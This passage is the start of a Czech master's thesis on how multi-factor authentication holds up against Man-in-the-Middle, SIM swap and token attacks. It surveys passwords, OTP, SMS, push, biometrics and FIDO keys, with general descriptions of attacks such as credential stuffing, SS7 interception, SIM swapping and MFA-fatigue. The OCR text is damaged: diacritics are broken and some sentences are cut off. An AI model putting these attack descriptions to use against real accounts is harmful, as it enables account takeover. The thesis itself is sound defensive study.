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ABSTRAKT

Cilem této diplomové prace je zhodnotit odolnost multifaktorové autentizace viici
nejcastéjSim a nebezpeCnym utokim typu MiTM, SIM swap a Utokiim na autentizacni
tokeny. V Teoretické Casti jsou nejprve klasifikovany a popsany zakladni kategorie
autentizacnich mechanismii podle pouzitého faktoru. Na zaklad¢ téchto kategorii jsou dale
rozebrany varianty ovéfeni jednofaktorové, dvoufaktorové a vicefaktorové autentizace.
Nasleduje podrobny rozbor soucasnych autentiza¢nich mechanismi heslova autentizace,
jednorazova hesla, biometrie a hardwarové klice véetné jejich vyhod, nevyhod, typickych
titoki. Dale jsou analyzovany kli¢ové bezpednostni smérnice a standardy NUKIB, NIST SP
800-63, IETF a specifikace FIDO alliance s ndvrhem pozadavklli pro implementaci
robustniho MFA feseni. Teoretickou ¢ast uzavira detailni popis metod utoku MiTM, SIM
swap a utokli na hardwarové tokeny. V praktické c¢asti byly provedeny simulace utoku
proxy-based MiTM pomoci nastroje Evilginx, simulace SIM swapu na piedplacenych SIM
kartach a bruteforce prolomeni TOTP seedii v rozSifeném Authenticatoru. Na zakladé
ziskanych dat byly navrzeny konkrétni detek¢ni mechanismy a opatfeni pro zvyseni

odolnosti MFA systémtl.

Kli¢ovéa slova: multifaktorova autentizace, MFA, Man-in-the-Middle, Evilginx, SIM swap,

TOTP, detekéni pravidla

ABSTRACT

The objective of this master’s thesis is to evaluate the resilience of multi-factor
authentication against the most common and dangerous attacks namely Man-in-the-Middle,
SIM-swap, and attacks on authentication tokens. In the theoretical part, the basic categories
of authentication mechanisms are first classified and described according to the factor used.
Based on these categories, the variants of single-factor, two-factor, and multi-factor
authentication are further examined. This is followed by a detailed analysis of current
authentication mechanisms password authentication, OTPs, biometrics, and hardware
security keys including their advantages, disadvantages, and typical attacks. Key security

guidelines and standards NUKIB, NIST SP 800-63, IETF, and FIDO Alliance specifications



are then analyzed, and requirements for implementing a robust MFA solution are proposed.
The theoretical section concludes with an in-depth description of MiTM, SIM-swap, and
hardware-token attacks. In the practical part, simulations of proxy-based MiTM attacks
using the Evilginx tool, SIM-swap attacks on prepaid SIM cards, and brute-force recovery
of TOTP seeds in an extended Authenticator were carried out. Based on the data obtained,
specific detection mechanisms and measures to increase the resilience of MFA systems are

proposed.

Keywords: multi-factor authentication, MFA, Man-in-the-Middle, Evilginx, SIM swap,
TOTP, detection rules.
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UVOD

Autentizace predstavuje proces oveéfeni identity subjektu uzivatele ¢i zatizeni pred
vstupem do systému nebo sluzby. Jinymi slovy, jde o potvrzeni, ze dany subjekt je skutecné
tim, za koho se vydava. V kontextu kybernetické bezpecnosti mé autentizace klicovou roli.
Je zadkladnim pilifem fizeni pfistupu, ktery brani neopravnénym subjektim v piistupu
k citlivym tdajim a funkcim systémt. Bez silné autentizace by nebylo mozné zajistit
daveérnost a integritu dat, protoze utocnik by snadno mohl ptevzit identitu legitimniho

uzivatele a ziskat neopravnény pfistup k citlivym informacim ¢i funkcim systému.
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1 KLASIFIKACE AUTENTIZACNICH MECHANISMU

Mechanismy autentizace Ize rozdélit podle po¢tu a povahy pouzitych faktorti. Faktor
autentizace obecné¢ oznacCuje nezavisly prostfedek ¢i informaci, kterou musi uzivatel
prokazat svou identitu. Tradi¢né se faktory d€li do tii kategorii: (i) néco, co uzivatel vi
(typicky znalost jako heslo nebo PIN), (ii) néco, co uzivatel ma (fyzicky token, karta,
telefon), (iii) néco, ¢im uzivatel je (otisk prstu, oblicej). Déle existuje jeste (iv) faktor poloha.

Na tomto zakladé rozdélujeme:[1][2][3]

1.1 Jednofaktorova autentizace (SFA)

UZzivatel prokazuje identitu pouze jednim faktorem, nej¢astéji znalostnim. Klasickym
ptikladem je piihlaSeni pomoci jména a hesla. Vyhodou jednofaktorové autentizace je
jednoduchost v tom, Ze uzivatelé si musi zapamatovat pouze jeden udaj, tak z pohledu
implementace. Nicméné& z bezpe€nostniho hlediska je SFA nejslab$i variantou, nebot
kompromitace tohoto jediného faktoru znamend Uplné prolomeni ochrany uctu. Pokud
uto¢nik odhali nebo uhodne heslo, ziskdva plny pfistup. Z praxe jsou znama cetna rizika
spojend s hesly: uzivatel¢ casto voli snadno odhadnutelna hesla, pouzivaji jedno heslo
opakované ve vice sluzbach a jsou néachylni k socidlnimu inzenyrstvi (napf. phishingu).
Utoky hrubou silou & slovnikové titoky dokazou prolomit slaba hesla, zatimco tzv.
credential stuffing Gtoky zneuZivaji uniklé databaze hesel a automatizované zkouseji tisice
ukradenych kombinaci jmen a hesel z jinych sluzeb k pfihlaSeni do cilového systému.
Jednofaktorova autentizace tak pfedstavuje nejvySsi riziko kompromitace a dnes je

povaZovana za nedostatecnou pro citlivé nebo internetové ptistupy.[4][5][6]

Example of Single Factor Authentication

User Enters User Name and Password User is Authenticated

f*\ SECRET

Obrazek 1 Jednofaktorova autentifikace

(zdroj: [24])



1.2 Dvoufaktorova autentifikace (2FA)

Kombinuji dvé na sob& nezavislé ovéfeni identity, typicky zriznych kategorii
faktori (napf. néco, co uzivatel vi + néco, co ma). Cilem je vyrazn¢ zvysit bezpecnost
ptihlaSeni i kdyby utocnik ziskal jeden faktor napft. heslo, bez druhého faktoru mu pfistup
stale nebude umoznén. Béznym piikladem 2FA je pravé kombinace hesla a jednorazového
kodu zaslaného na mobilni zafizeni. Vyhodou dvoufaktorové autentizace je podstatné vyssi
odolnost viigi §iroké $kale Gtokt. Utoénik zpravidla nemaé k dispozici zaroven odcizené heslo
i kontrolu nad zafizenim uzivatele. Nevyhodou mize byt mirné snizeni komfortu pro
uzivatele (musi opsat kod z telefonu) a naro¢néjsi sprava, kdy sluzby musi fesit distribuci
druhych faktorti, obnovu pfi ztraté zatizeni apod. Piesto je 2FA dnes siln€ doporucovana pro
vSechny dllezité ucty. Nékteré legislativni normy a standardy ji pfimo vyzaduji pro pfistup
k citlivym systémim. Naptiklad ¢esky NUKIB ve svém bezpeénostnim standardu uvadi, ze
organizace maji maximalné vyuzivat vicefaktorovou autentizaci, zejména pro systémy
dostupné z internetu a pro privilegované Ucty. Pokud zavedeni vice faktorii neni mozné,
doporucuje se alespont nahrada hesla silnéj$i metodou, napi. kryptografickym kli¢em ¢i

certifikatem.[7][8][9][12]

Example of Two Factor Authentication

User Enters Phone Number User Gets One Time Password User Enters One Time Password

o oc——00 g ™~

0 a

- sword
Enter phone number One Time Password Enter Authentication Cod

®OOO

SECRET
DOUBLE
0CTOPUS

Obrazek 2 Dvoufaktorova autentifikace

(zdroj: [25])



1.3 Vicefaktorova autentifikace (MFA)

Obecny pojem zahrnujici autentizaci pomoci dvou a vice nezavislych faktort. V praxi
se MFA casto oznacuje totéz, co 2FA (dvé rizné faze ovéteni), nicméné MFA muze zahrnout
1 tfi a vice faktort.. Pfikladem trojfaktorové autentizace muze byt elektronicky ptistup do
velmi zabezpeceného prostiedi, kde uzivatel musi pouzit napt. ¢ipovou kartu (co ma), k ni
PIN (co vi) a jesté projit biometrickou kontrolou ostiku prstu (co je). Princip MFA je stale
tentyz — kombinaci na sob¢ nezavislych ovéieni dosahnout nasobné vyssi jistotu identity nez
pti pouziti jediného prvku. MFA je dnes povazovana za zlaty standard pro zabezpeceni
ptistupu. Americky NIST ve svych pokynech radi k vyuziti vicero faktorti vzdy, kdyz to
okolnosti umoznuji, zejména u vyssich urovni zabezpeceni. Nevyhodou MFA jsou vyssi
naklady a komplexita nasazeni, sprava vice druhl autentizatorl, nutnost fesit tzv. fallback
mechanismy (napf. zalozni kédy pro pfipad ztraty tokenu) a nutnost Skolit uzivatele k
pouzivani. Pfesto plati, ze MFA vyrazné ztézuje praci utocnikiim. Ackoliv zadna metoda
MFA neni zcela imunni vi¢i v§em utokiim, nejodolnéjsi formy MFA, které byvaji zalozené
na kryptografickych hardwarovych prvcich jsou velmi efektivné chrani i proti pokrocilym

metodam kompromitace.[1][3][10][11][12]

Example of Multi Factor Authentication

What You Know - Something You Own - Phone
User Name and Password [—]

L 7_ @

Secret Double

Something You Are - Fingerprint

DoubleOctopus.com

= a

Sign In E
User Name Pending Authentication

Jjohndoe

Password:

.
)
v L

SECRET
DOUBLE
0CTOPUS

Obrazek 3 Multifaktorova autentizace

(zdroj: [26])



2 PREHLED SOUCASNYCH AUTENTIZACNICH MECHANISMU

V soucasnosti je k dispozici Siroka Skala autentizacnich metod, které se Casto vzajemné
kombinuji v rdamci MFA. NiZe je popsan piehled nejbéznéjSich typl autentizace, jejich

charakteristika, vyhody, nevyhody a bezpecnostni aspekty.

2.1 Heslova autentizace

Heslo patii k nejstarsim a dodnes nejrozsifenéjsim autentizacnim metoddm. Jde o tajny
fetézec znak, ktery uzivatel zadava pti prihlaseni. Vyhodou hesel je jejich jednoduchost a
univerzalnost, nevyzaduji specialni zafizeni a uzivatel si je muze zvolit libovolné.
Implementace je trividlni na vSech platformach. Nevyhodou jsou v§ak zna¢né bezpecnostni
limity. Uzivatelé navic Casto voli kratkd hesla nebo snadno uhodnutelnd a maji tendenci

pouzivat jedno heslo opakované ve vice sluzbach, coz z nich €ini snadny cil utoku.[14]

2.1.1 Hadani a brute-force utoky

Utoénik zkousi obrovské mnozstvi hesel. Jedna se o automatizovany utok s vyuzitim
slovnikd béznych hesel. Pokud uzivatel zvoli trividlni kombinaci (napt. ,,123456 nebo
»password*), je prolomeno do par sekund. Slovniky miizou obsahovat az miliény unikatnich

hesel.[15][16][19]

HOW A BASIC BRUTE FORCE ATTACK WORKS
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(zdroj: [27])



2.1.2  Utoky typu credential stuffing

Specificka varianta, kdy uto¢nik ziskd (napf. na ¢erném trhu) databazi redlnych
piihlaSovacich udajti uniklou z jiné sluzby a automatizované testuje, zda se stejné kombinace
piihlaSovacich udajt nehodi i do cilové sluzby. Vzhledem k béznému opakovani hesel ma
tato metoda vysokou uspé$nost pti utoku na uzivatelské ucty. Obrana spociva predevsim
v nepouzivani stejnych hesel opakované a v nasazeni dodateénych faktora (MFA), které

zamezi zneuziti odcizeného hesla.[17][17][20]

Attacker Collection of Stolen Login Bots Victim Service
Credentials

Obrazek 5 Credential stuffing

(zdroj: [18])
2.1.3 Phishing a socidlni inZenyrstvi

Mnoho utokt cili na lidsky faktor, kde se uto¢nik s podvodnym e-mailem nebo
webem snazi pfimét uZivatele, aby své heslo sam prozradil (napt. zadal ho na faleSné
piihlaSovaci strance). Hesla jsou velmi zranitelné vii¢i phishingu, nebot’ nic netusici uzivatel
nema bez dalSich opatieni, jak ovéfit, Ze tajny kod nesdéluje nepovolané strané. V ramci
kombinovanych utokli se phishing Casto pouziva v pocateéni fazi k ziskani ptihlasovacich
udaji, nacez utocnik zkusi zneuzit stejny udaje 1 jinde v kombinaci se zminénym credential

stuffing.[21][22][23][32]
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2.1.4 Uniky a kradeZe hesel

Pokud sluzba hesla uklada nevhodné napt. neSifrované, uto¢nik, ktery pronikne do
systému, ziska vSechna hesla najednou. I v pripadée spravného ulozeni lze slaba hesla zpétné
uhadnout pomoci tzv. rainbow tables a utokti hrubou silou. V minulosti doslo k mnoha

velkym tniklim databézi hesel, cozZ pfimo ohrozilo miliony ucta.

Moderni pfistupy k zabezpeceni hesel zahrnuji pokrocilé metody, které pomahaji
predchazet kompromitaci uzivatelskych ucti. Bézné se vyuzivaji tzv. password leak
monitoring, kdy ovéfuji, zda se heslo uzivatele neobjevilo v nékteré z vefejné dostupnych
databazi uniklych ptihlasovacich tdaji. Pokud je heslo identifikovano jako

kompromitované, systém ho automaticky blokuje a vyzaduje jeho zménu.

Déle je doporucovano uptednostiovat del$i pristupové fraze pred slozitymi, ale
kratkymi hesly. Casté vynucené zmény mohou vézt ke zhorSeni hesla, protoZe uzivatelé si
hesla pouze mirné upravi, kdy pfidaji Cislici na konec hesla nebo si je zapisuji na snadno

dostupna mista.

Modernim trendem jsou také tzv. spravce hesel. Jedna se o aplikace, které¢ generuji a
bezpecné ukladaji jedinecnad a silna hesla pro jednotlivé sluzby. Diky tomu uZivatel nemusi

pamatovat desitky rtiznych hesel, ale pouze jedno hlavni heslo ke svému spravci. Tento



pfistup eliminuje riziko opakovaného pouziti hesla a zaroven umoznuje vyuzivat velmi

dlouhé a komplexni ptihlaSovaci udaje.

Navzdory témto opatienim vSak ani nejsiln€j$i heslo neposkytuje ochranu proti
nékterym typtim utokd, jako je phishing nebo skodlivy software na zafizeni uzivatele. Proto
se v posledni dob¢ prosazuje ptechod k bezheslové autentizaci, ktera eliminuje zavislost na

heslech a ptinasi vyssi Groven zabezpeceni.

Hesla tak nadale zGstavaji nejrozsifenéjsi metodou autentizace, avSak jsou také jejim

nejvetsim slabym c¢lankem. Z tohoto divodu by mélo byt kazdé heslo doplnéno druhym

wewvr

2.2 Jednorazova hesla (OTP)

Jsou dynamicky generované kody, které plati pouze pro jedno ptihlaSeni nebo kratky
Casovy interval. Pouzivaji se jako druhy faktor vedle hesla nebo n¢kdy i samostatné jako
primarni ptihlaSovaci udaj. Zvysuji bezpecnost piihlaseni, protoze kdéd rychle expiruje a

utoénik co jej ziska by musel jednat okamzit&.[28][31][35]

2.2.1 HMAC-Based One-Time Password (HOTP)

Jednorazové heslo zalozené na HMAC algoritmu a synchronizovaném ¢itaci. Server
1 zafizeni sdileji stejny kli¢ a pocitaji sekvenéné OTP kody. Kazdé vygenerované heslo se
pouzije praveé jednou. Standard HOTP je definovan v RFC 4226, kde vystupem je 160 bitd,
které jsou ptevedeny do ¢iselné podoby minimalné 6 ¢islic.[31][35][36]
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2.2.2 Time-Based One-Time password (TOTP)

Casové zalozené jednorazové heslo, které je variantou HOTP, kde misto &itade se
vyuziva aktudlni cas ke generovani jednorazovych hesel. Obvykle se jedna o interval 30
sekund, béhem kterych je heslo platné. Tato metoda vyzaduje synchronizaci ¢asu mezi
klientem a serverem. Standard RFC 6238 je velmi rozsifeny a pouzivany aplikacemi jako je

Google Authenticator a Authy.[31][35][37]
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2.2.3 SMS OTP a hlasové hovory

Jednorazovy kod zaslany uzivateli prostfednictvim SMS zpravy. Tahle forma 2FA
byla dlouho nejrozsifenéjsi v bankovnictvi a online sluzbach, protoze nevyzaduje chytry

telefon ani aplikaci. Z bezpecnostnich

Hlasové hovory jsou tradi¢ni zptisob komunikace mezi dvéma nebo vice ucastniky,
ktery umoziuje prenos hlasu v redlném case. Protokol RTT je technologie, ktera umoziuje
odesilani textu béhem hovoru v redlném case, takze komunikace probihd okamzité a obé

strany vidi text ihned po jeho napsani. [31]

2.2.4 Vyhody OTP

Jednorazové kody vyznamné ztézuji zneuziti odposlechnutych ¢i prozrazenych
piihlaSovacich udaji. Pokud uto¢nik ziskd aktualni OTP musi jednat okamZit€¢ nebo po
casovém intervalu ztraci kody platnost. OTP tak poskytuji ochranu proti replay utoktm, kdy

stejny koéd nelze pouzit dvakrat.[31][38]

2.2.5 Nevyhody OTP

HOTP, TOTP spoléhaji na sdileny kli¢ mezi zafizenim a serverem, ktery muize byt
odcizen. OTP kody také nechrani vii¢i phishingu typu man-in-the-middle — pokud uzivatel
naleti na podvodnou stranku, ktera kod od né&j vylaka a obratem zneuzije. Utoénici dnes
vyvijeji phishingové nastroje schopné on-the-fly zprosttedkovat piihlaSeni obéti k pravému
serveru a ziskat tim jeji session cookies. OTP je proti takovému Utoku bezbranné nebo
uto¢nik zachytava piihlaseni v realném case. Nékteré formy OTP maji zranitelnosti, které je

tieba zvazit.[31][32]

e Rizika SMS OTP: SMS zpravy putuji pies infrastrukturu mobilnich operatori, ktera
nebyla navrzena s ohledem na robustni Sifrovani a autentizaci sméru zpravy.
Utoénici dokazou zneuzit slabiny signalizaéni sité SS7 k odposlechu &i piesmérovani
SMS zpravy. Jesté vétsi hrozbou je SIM swapping, podvodné ptevedeni telefonniho
Cisla obéti na SIM kartu uto¢nika (viz 4.2). V takovém piipad¢ Gto¢nik obdrzi
veskeré SMS obéti, véetné piihlaSovacich kodii. Proto by tahle varianta autentizace

méla byt pouzita jako posledni, kde neni dostupna lepsi varianta.[32][34]

e Push notifikace: Moderni varianta, kde misto opisovani kodu dostane uzivatel na
zatizeni notifikaci s zadosti o potvrzeni pifihlaSeni. Vyhodou je, ze uzivatel nemusi

pfepisovat kod a komunikace probihd Sifrovanym kandlem aplikace, kdy odpada



riziko odposlechu SMS. Naproti tomu samotna zakladni push metoda neni bezpecna,
protoze muze potvrdit podvrzenou zadost. ,,MFA fatigue attack* je utok, kdy uto¢nik
hromadné¢ rozesila opakované push zadosti na zatizeni obéti ve vife, ze nepozorny
uzivatel jednu z tdchto zadosti piijme. Re$enim je zavedeni chytrych prvki do push
ovéfovani jako number matching, kdy uzivatel musi v aplikaci opsat Cislo zobrazené

na prihlasované obrazovce nebo zvolit spravné ¢islo.[32][33]

24

generuji offline a nehrozi tak k jeho zachyceni v pfenosu. Stale vsak plati, Ze pokud
ma utocnik malware v zatizeni, mize kod pfimo ptecist z displeje nebo v paméti
aplikace. UZivatel¢ mohou sami sniZovat bezpe€nost kvili instalaci autentikatoru na
vice zafizeni nebo ukladani screenti s QR kody pro nastaveni OTP. Hardwarové OTP

tokeny nemaji problém malwaru, ale mohou byt fyzicky odcizeny nebo ztraceny.

Z hlediska odolnosti vii¢i utokiim mulzeme fict, ze OTP chrani proti pasivnimu
odposlechu a hromadnym Utokiim, avSak nechrani plng proti phishingu v redlném case a
mohou byt obejita pti kompromitaci uzivatelského zatizeni. I ptes tyto nevyhody jsou
OTP stale povazovany za vyrazné zlepseni oproti béZznym heslim a jsou fazeny mezi
doporucené 2FA mechanismy. OTP by méla byt nasazeny vSude tam, kde neni dostupné

pokrocilejsi feSeni.[32]
2.3 Biometricka autentizace

Biometrie vyuzivd jedine¢né fyzické nebo behaviordlni charakteristiky osoby
k ovéfeni jeji identity. Mezi nejrozsifenéjsi biometrické metody patii snimani otiskli prsti,
rozpoznavani obliceje a sken duhovky nebo sitnice oka, dale také hlasova identifikace nebo
dynamika podpisu. Biometrickd autentizace spad4d do kategorie ,,néco, ¢im uzivatel je*
vyuziva tedy pfirozené identity jedince, kterou nelze jednoduSe sdilet nebo

zapomenout.[38][39]
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2.3.1 Vyhody biometrické autentizace

Hlavni ptfednosti je uzivatelska piivétivost spojena s relativné vysokou bezpecnosti.
Uzivatel si nemusi pamatovat zadné heslo ano s sebou nosit token, nositelem ovéfovacich
dat je pfimo jeho télo. Typické nasazeni biometrie je dnes vidét u chytrych telefonii a
notebooki. Otisk prstu nebo rozpoznéni obliceje slouzi k odemknuti zafizeni nebo ptistupu
k aplikacim, potvrzeni platby. Proces je velmi rychly a pohodlny, staci ptilozit prst nebo
pohlédnout do kamery. Dalsi vyhodou je, Ze biometricky prvek nelze ziskat vzdalené
phishingem pokud je ovéfeni biometrie provadéno lokalné v ramci zatizeni, nedochdzi ani
k ptenosu citlivych dat, které by mohl nékdo odposlechnout. Biometrie tak mtze poslouzit

jako silny druhy faktor nebo jako nédhrada hesla v konceptu bez heslové autentizace.[39][41]



2.3.2 Nevyhody a bezpe¢nostni aspekty

Biometrické autentizace, prestoze predstavuje efektivni nastroj pro ovéteni identity,
piinasi specifickd rizika a vyzvy z hlediska bezpecnosti 1 ochrany soukromi. Jednim
z klicovych problémtli je nemoznost zmény biometrickych udaji v ptipade jejich uniku.
Otisk prstu je pro ¢loveéka unikatni a neménny po cely Zivot. Z tohoto diivodu je nezbytné,
aby systémy neukladdaly biometrické vzory v pivodni podobé, ale pouze jako Sifrované
Sablony, které¢ neumoziuji zpétnou rekonstrukci pavodniho biometrického vzoru. Existuje
riziko zneuziti Sablon utocnikem prostiednictvim replay utoku, kdy je podvrzena pfi
ovéfovani, pokud uto¢nik zné jejich interni format. K minimalizaci téchto rizik se zavadi
mechanismy, jako je detekce zivosti, kterd ovéfuje pfitomnost zivého cloveéka. Tyto
mechanismy maji za cil zamezit spoofing Utokiim, pfi nichz Utoénik pouzije kopii otisku
prstu, fotografii nebo masku obliceje k oklaméni snimace. Z hlediska soukromi a pravnich
aspektll jsou biometrickd data povazovadna za citlivé osobni udaje, jejichz zpracovani
podléha piisnym regulacim. V ramci Evropské unie je chrani nafizeni GDPR, které
biometrické data klasifikuje jako zvlastni kategorii osobnich tdaji a klade na jejich ochranu
zvySené pozadavky. Organizace tak musi zajistit vyslovny souhlas uZivatell, vysokou
uroven zabezpeceni téchto dat a minimalizovat jejich uchovavani na nezbytné nutnou dobu.
Evropsky dozorce pro ochranu udaji (EDPS) se navic zabyva problematikou nepietrzité
biometrické autentizace a upozoriiuje na rizika jejich zneuziti, naptiklad k neopravnénému
sledovani nebo profilovani uZivateld, coz by mohlo porusit jejich prava na soukromi. Pies
tato rizika zlistdva biometrie z technického hlediska spolehlivym nastrojem pro ovéteni
identity, jehoz efektivita je déale posilena kombinaci s dalSimi autentiza¢nimi faktory, jako

jsou hesla nebo tokeny.[39][41][42]

2.4 Hardwarové bezpecnostni klice

Hardwarové bezpecnostni kli¢e pfedstavuji jednu z nejrobustnéjSich forem druhého

faktoru v MFA, zejména diky své odolnosti vii¢i phishingu.

2.4.1 Popis a princip fungovani

Hardwarové bezpecCnostni klice pfedstavuji jednu z nejrobustnéjSich forem druhého
faktoru v MFA, zejména diky své odolnosti vic¢i phishingu. Hardwarovy bezpecnostni kli¢

¢asto oznacovany jako FIDO kli¢, bezpe€nostni token je fyzické zatizeni, obvykle ve formeé



USB kli¢enky, karty nebo zatizeni s podporou NFC ¢i Bluetooth Low Energy (déle jen

BLE), kter¢ slouzi k autentizaci uzivatele.

Jadrem technologie je asymetrickd kryptografie. Béhem registratniho procesu u
konkrétni online sluzby Relying Party (dale jen RP) vygeneruje kli¢ unikatni par
kryptografickych klich: vefejny a privatni. Privatni kli¢ je bezpecné uloZen piimo na
hardwarovém kli¢i, casto v chranéném cCipu neboli Secure Element (déale jen SE), a nikdy
toto zafizeni neopousti. Vefejny kli¢ je odeslan a ulozen na stran¢ sluzby spolu s

identifikatorem klice.

Pti nasledné autentizaci odesle kli¢i vyzvu, ktera obsahuje nahodné data a identifikator
puvodu sluzby. Kli¢ ovéfi, zda ptivod sluzby odpovida tomu, pro ktery byl kli¢ registrovan.
Pokud ano, podepise vyzvu pomoci uloZzené¢ho privatniho klice a odesle podepsanou
odpoveéd’ zpét sluzbe. Sluzba pak pomoci diive ulozeného vetejného klice ovéti platnost

podpisu.

Tento mechanismus je zakladem odolnosti proti phishingu. I kdyby byl uzivatel
oklaman a pokusil se pfihlasit na faleSné webové strance, kterd vypada identicky jako
legitimni sluzba, tato falesna stranka bude mit jinou doménu. Hardwarovy kli¢ bud’ odmitne
podepsat vyzvu pochdzejici z nespravného puvodu, nebo pouzije jiny neexistujici nebo
nespravny par kli¢t pro dany pivod, coz v obou piipadech vede k selhani autentizace.
Uzivatel tak nemusi sam rozpoznavat phishingovou stranku, protoze kli¢ to udéla za

néj.[32][43][44][45][45]

2.4.2 Typy autentikatoru
FIDO autentikatory se d¢li na dva hlavni typy:

e Roamingoveé autentikatory: Jednéd se o samostatnd, prenosna zafizeni, ktera se
piipojuji k pocitaci nebo mobilnimu telefonu uZivatele pres USB, NFC nebo
BLE. Vyhodou pro uZivatele je, Ze mliZe pouZivat stejny kli¢ pro pfihlaSeni na
rizné zafizeni. Casto nabizeji vysokou troven zabezpeéeni diky dedikovanému
hardwaru. Jsou vhodné pro sdilené pracovni stanice. Organizace mohou
snadnéji standardizovat s spravovat vydané kli¢e. Mezi nejvétsi nevyhody patii
jejich nakup a nasledna distribuce. Déle jejich ztraty, odcizeni nebo jejich

poskozeni. UZivatel je nucen nosit zafizeni navic.



e Platformni autentikatory: Jsou integrovany piimo do vypocetniho zafizeni
uzivatele, napf. notebook, telefon. Vyuzivaji hardwarové prvky jako Trusted
Platform Module (déale jen TPM) nebo Secure Enclave a casto jsou spojeny
s biometrickymi senzory jako je Ctecka otiskl prstil, rozpoznavani obliceje,
napt. Touch ID, Face ID. Vyhodou je pohodlnost, nevyzaduji dalsi hardware.
Vyuzivaji funkce, se kterymi jsou uzivatelé Casto jiz obeznameni. Nizsi piimé
naklady pro organizace. Nevyhodou jsou ptihlasovaci udaje, které jsou vazany
pfimo na konkrétni zafizeni, pfi zméné zafizeni je nutna nova registrace.
Bezpecnost zavisi na integrité celé platformy napi. operacni systém, hardware.
Organizace maji men$i kontrolu nad typem a zabezpecCenim autentikatord,

zejména v scénafich, kdy uzivatelé si nosi vlastni zatizeni.

Rozliseni mezi témito typy piedstavuje pro organizace vyznamny kompromis mezi
pouzitelnosti a spravovatelnosti. Platformni autentikdtory jsou pohodlné, ale hlie se
standardizuji a kontroluji, zatimco roamingové nabizeji kontrolu, ale pfidavaji logistickou
zatéz.

Kli¢ové vlastnosti jako fyzickd interakce s klicem, napt. dotyk tlacitka, potvrzujici
pfitomnost uzivatele a ovéfeni uzivatele na kli¢i, napt. pomoci PINu nebo biometrie urcuji,
zda kli¢ funguje jako druhy faktor nebo jako prvni faktor v bezheslovém piipad¢.
Discoverable Credentials umoznuji ulozit informace o Gc¢tu pfimo na kli¢, coz usnadnuje
bezheslové piihlaSovani 1 na novych zafizenich bez nutnosti zaddvat uZivatelské

iméno.[45][47][48][49]

2.4.3 Standardy FIDO U2F a FIDO2

Aliance Fast Identity Online (dale jen FIDO) vyvinula kli¢ové standardy pro

hardwarové a softwarové autentikatory:

e FIDO U2F: Celym nazvem Universal Second Factor byl piivodni standard FIDO
zaméfeny vyhradné na poskytovani silného druhého faktoru k doplnéni
stavajiciho ptfihlaSeni heslem. UZivatel se nejprve piihlasi heslem a poté je vyzvan
k interakci s U2F klicem napf. stisknutim tlac¢itka. Klade dliraz na jednoduchost a
odolnost proti phishingu diky vazbé na ptivod. S pfichodem FIDO?2 byl protokol
U2F piejmenovan na Client-to-Authenticator Protocol 1 (dale jen CTAP1) pro

zajisténi zpétné kompatibility.



e FIDO2: Nov¢jsi a komplexnéjsi sada standardli navrzend pro podporu Sir$i skaly
autentizaCnich scénaii, vcetn¢ bezheslového piihlasovani, dvoufaktorové a

vicefaktorové autentizace. Sklada se ze dvou hlavnich souc¢asti:

o WebAuthn (Web Authentication): Standard vyvinuty konsorciem W3C
ve spolupraci s FIDO Alliance. Definuje standardni JavaScript API, které
umoziiuje webovym prohlizecim a platformédm pfimo komunikovat s

FIDO autentikatory a integrovat FIDO autentizaci do webovych aplikaci.

o CTAP: Standard FIDO Alliance definujici protokol pro komunikaci mezi
klientem (prohlizeCem, operacnim systémem) a FIDO autentikatorem

(roamingovym nebo platformnim) pifes rozhrani jako USB, NFC nebo

BLE.

» CTAPI1: Zajistuje zpétnou kompatibilitu se starSimi U2F

zafizenimi pro dvoufaktorovou autentizaci.

* CTAP2: Novéjsi verze protokolu, kterda umoziuje pokrocilé
funkce FIDO2, jako je bezheslové piihlasovani, podpora pro vice
uctl na jednom kli¢i nazyvané discoverable credentials a user

verification napt. PIN, biometrie.

Evoluce od U2F k FIDO2 odrazi $irsi snahu odvétvi o odklon od hesel, motivovanou
jak bezpecnostnimi od eliminace phishingu hesel, tak uzivatelskymi diivody. PIné vyuziti
bezheslovych moznosti FIDO2 v§ak vyzaduje podporu jak ze strany sluZeb od implementace
WebAuthn, tak ze strany uZivatelskych platforem a autentikatorti, které podporuji CTAP2 a
discoverable credentials.[43][47][49][50][50][51]

2.4.4 Odolnost proti phishingu a bezpe¢nostni pfinosy

Hlavni pfinosy hardwarovych bezpecnostnich kli¢l,, zejména téch zaloZenych na

standardech FIDO zahrnuji:

e Odolnost proti phishingu: Jak bylo popsano, kryptograficka vazba autentizace na
ovéieny ptivod sluzby je kliCovym mechanismem, ktery ¢ini FIDO kli¢e vysoce
odolnymi proti tradi¢nimu phishingu i pokro¢ilym AITM utokiim. To je zasadni

rozdil oproti metoddm jako SMS nebo OTP, které lze relativné snadno vylakat.

e Zadna sdilena tajemstvi: Na rozdil od OTP metod, kde je mezi serverem a

autentikatorem sdileno tajemstvi neboli seed, FIDO pouzivd asymetrickou



kryptografii. Privatni kli¢ nikdy neopousti bezpecné ulozist¢ na kli¢i. To
znamend, ze 1 kdyby doslo k prolomeni databdze na stran¢ serveru, uto¢nici
neziskaji informace, které by jim umoznily klonovat autentikator nebo se za

uzivatele vydavat.

e Prevence prevzeti uctu: Diky odolnosti proti phishingu a absenci sdilenych
tajemstvi FIDO klic¢e efektivné brani nejbéznéjsSim vektorim utokit vedoucim k

pfevzeti uctu.

e Ochrana soukromi: Protokoly FIDO jsou navrzeny tak, aby zabranily sledovani
uzivatele napfic¢ riznymi sluzbami. Kazd4 sluzba ziskava unikatni par klica, ktery

nelze pouzit k identifikaci uzivatele u jiné sluzby.[32][43][44][46][45][50]

2.4.5 Nevyhody a omezeni
Ptes své silné bezpecnostni vlastnosti maji hardwarové klice i nevyhody:

e Naklady: Pofizeni fyzickych klich predstavuje financni investici, kterd muze

byt vyznamna pii nasazeni pro velky pocet uzivatelq.

e Pouzitelnost a Uzivatelska ZkuSenost: Nutnost nosit a pouzivat dalsi fyzické
zatizeni mize byt n¢kterymi uzivateli vnimana jako nepohodlna ve srovnani se
softwarovymi metodami integrovanymi v telefonu. Mohou nastat problémy s
kompatibilitou napf. potieba spravného portu — USB-A, USB-C, nebo podpora
NFC/BLE.

e Ztrata, Kradez, PoSkozeni: Jako fyzické objekty jsou kli¢e nachyln¢ ke ztrate,
kradezi nebo fyzickému poskozeni. To vyZaduje robustni procesy pro obnovu

pristupu a nahrazeni klicti, coz miize byt samo o sobé bezpecnostni vyzvou.

e Nasazeni a Sprava: Distribuce klict, jejich registrace u jednotlivych sluzeb a
sprava jejich zivotniho cyklu (vydavani, blokace, vyména) ptedstavuji

logistickou a administrativni zatéz, zejména ve velkych organizacich.

e Zalohovani a Obnova: Povaha klich védzanych na zafizeni, zejména u
platformnich autentikdtori nebo u roamingovych klich bez podpory
discoverable credentials, komplikuje zalohovani a obnovu. Uzivatelé si musi
